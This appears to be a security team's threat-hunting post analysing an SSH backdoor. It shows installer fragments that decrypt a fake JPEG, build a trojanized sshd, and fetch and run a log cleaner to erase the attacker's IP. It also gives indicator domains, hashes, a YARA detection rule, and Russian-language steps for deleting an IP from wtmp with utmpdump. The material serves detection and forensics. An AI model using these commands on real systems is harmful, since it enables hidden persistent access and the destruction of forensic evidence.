file ./main.jpg
./main.jpg: openssl enc'd data with salted password

openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS

...
make -j4>> /dev/null && 
strip ssh sshd &&
make install
...
service sshd restart

#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
    $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
    PACKET_MANAGER=$PACKET_MANAGER" gcc";
    $PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi

/var/run/.options
/dev/shm/.options

cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org

016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217

rule SshDoor {
    strings:
        $spy1 = "SPY_PATH"
        $spy2 = "SPY_PORT"
        $spy3 = "SPY_HOST"
        $spy4 = "spy_passwd"
        $spy5 = "spy_master"
        $spy6 = "spy_bc_addr"
        $spy7 = "spy_buff"
        $spy8 = "spy_addr"
        $spy9 = "spy_buff_port"
        $sshd = "usage: sshd"
    condition:
        uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}

В дефолтных никсах мало форензик информации (vs win) и очень много полезных утилит. Например, есть «прекрасная» утилита, позволяющая дампить информацию с [ubw]tmp файлов в ASCII файлы, а также, дословно из мана:

…which can then be edited to remove bogus entries, and reintegrated using:
utmpdump -r < ascii_file > wtmp

Так что если в логи попал какой-то «кривой» айпишник, то нелегитимные «администраторы систем» могут его просто удалить, с чем мы и сталкивались на кейсах:

Дампинг:

utmpdump /var/log/wtmp

Через пайп грепаются строки с исключением в виде «кривого» айпишника и выхлоп в темпфайл:

| grep -v $EYE_PEE >/tmp/.wt 

Результат импортируется обратно:

&& utmpdump -r </tmp/.wt >/var/log/wtmp 

Затем удаляется темповый файл:

&& rm -f /tmp/.wt

Ну и конечно же, как написано в мане:

But be warned, utmpdump was written for debugging purposes only.

Детекты описаны уже очень давно, можно освежить их в памяти.

#tool #detect #hunt #nix #dfir
@ptescalator